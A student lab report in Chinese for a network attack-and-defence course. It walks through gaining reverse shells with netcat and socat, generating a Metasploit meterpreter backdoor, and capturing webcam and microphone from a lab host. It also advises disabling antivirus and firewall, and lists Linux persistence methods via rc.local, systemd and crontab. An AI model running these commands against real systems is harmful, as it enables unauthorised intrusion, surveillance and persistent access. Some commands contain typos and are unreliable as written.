实 验 报 告
课程名称: | 网络与系统攻防技术 |
---|---|
实验序号: | 实验一 |
实验名称: | 缓冲区溢出攻击 |
学 号: | 20232408 |
姓 名: | 李易骋 |
指导老师: | 王志强 |
必修/选修: | 选修 |
实验日期: | 2025.10.15 |
一、实验目的
** 学习ncat/socat/MSF等有关后门程序的基本应用使用发放,使用以上后门并远程控制另一主机,获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
二、实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
-
基础环境
kali虚拟机,具体配置如下:
-
实验过程
**
在系统设置中关闭防火墙,根据所使用的网络类型来。
4.1.3 获得主机shell。
先ipconfig获得主机ip地址。
然后在windows端启动端口号8888监听。nc -l -p 8888
。
在kali端切换成root用户之后, 输入命令nc 192.168.119.1 8888 -e /bin/sh
,获得主机shell。
图中可以看到,反过来也是一样的,就是windows传递shell,kali去监听也是可行的。
4.1.4启动定时任务
写了一个my.corn,相隔5s输出当前时间。
4.2使用socat来获取主机shell
4.2.1下载socat
可去namp官网下载socat安装包。
关闭防火墙。
4.2.2 启动主机监听/传输shell命令
同样,这里是kali启动监听,windows传输cmd.exe,kali获取windows的shell。
命令是socat.exe TCP:192.168.119.128:455 EXEC:cnd.exe,pty
socat TCP-LISTEN:4455,reuseaddr,fork-
同样写入计时cron任务。
4.3 使用MSF meterpreter,获得主机shell,控制摄像头等。
4.3.1 下载MSF meterpreter
要关闭防火墙下载。
4.3.2 生成MSF后门文件并且传输
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.119.128 LPORT=4568 -f exe > backdoor20232408.exe
这里与之前不同的是,此处是windows先开监听,kali再开监听,通过“发过去”的后门程序反弹回主机shell。
socat.exe TCP-LISTEN:4568455,reuseaddr - > backdoor20232408.exe
socat FILE:/var/www/html/backdoor20232408.exe TCP:192.168.119.1:4568
4.3.3 msfconsole执行主机命令,控制摄像头/录音
生成文件之后,msfconsole -q
进入控制界面。执行以下命令:
`use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.119.128
set LPORT 4568`
可以通过webcam\_snap
来拍张照。或者使用record\_mic
来录个音。
4.3.4 尝试提权
使用命令getsystem
,发现无法提权,仍然是此用户。在物理机中关闭了所有的安全保护,包括UAC等,都没有用。分析原因:只有一个会话,而且无法切换,存在内核保护。
- 问题以及解决
- 后门程序被连续杀死,无法传输/无法运行。
原因是防火墙开启/病毒保护开启。注意在病毒保护中要把实时保护关闭,不然即使允许了“这一次的程序执行”,也会杀死“下一次的程序执行”。可以把文件放在可执行区,但是依旧要关闭实时保护。
- 摄像功能异常
我在进行摄像测试时,发现照片一直是黑的。我以为是内核保护或者禁止访问,后来发现其实是电脑旁边有个小按钮,按一下才能开摄像头。
-
screenshot一直显示超时
六、回答问题
6.1 列举你能想到的一个后门进入到你系统中的可能方式
可能会以一个伪装的网站的形式,我们去找官网的时候会不小心点进去,然后被植入后门程序。
6.2 列举你知道的后门如何启动起来(windows及linux)的方式
Windows:很多后门程序是开机启动的。还有的是通过schtasks命令创建定时任务,设置后门程序在特定时间或触发条件下自动运行。
Linux:
1.启动脚本:将后门程序路径添加到/etc/rc.local(部分系统需确保文件可执行)、/etc/profile或用户目录下的.bashrc等脚本文件中,系统启动或用户登录时脚本会自动执行后门。
2.系统服务:在/etc/systemd/system/目录下创建后门服务的.service文件,配置ExecStart为后门程序路径,再通过systemctl enable设置开机自启,systemctl start启动服务。
3.Crontab 定时任务:通过crontab -e编辑定时任务列表,添加如* * * * * /path/backdoor的命令,设置后门程序按分钟、小时等周期自动运行。
6.3 Meterpreter有哪些给你映像深刻的功能
它能控制摄像头、麦克风,能够毫不费力得到shell,是很可怕的,也难怪现在的windows系统对它严防死守,只要看到相应的特征就会毫不犹豫杀掉。我们使用时必须在合法授权环境下使用,也要小心防御。
6.4 如何发现自己有系统有没有被安装后门
可以借助杀毒软件,它们比较专业。也可以查看自己进程,是否对外有陌生的连接。还可以分析是否有异常的定时计划。
七、实验体会
后门程序得到这个实验很好玩,我们能够想象到,通过一个程序去控制其他主机、得到我们需要的信息,这是一件很“技术”的事情。但是我们的电脑也有被这样入侵的风险,尤其是我们自己不注意防范的时候。现代的后门技术越来越发达,固然难以防范,但是如果我们养成良好的网络防御意识,比如说不轻易点开陌生邮件,不点击不明来源网站等等,我们是可以在一定程度上限制被入侵的。在实验中碰到很多问题,大部分解决了,但是还有一个screenshot的问题花费了我两个晚上还是没解决。通过这次实验,我深刻学习了后门程序得到原理与应用,也对这种行为有了更加深入的认识。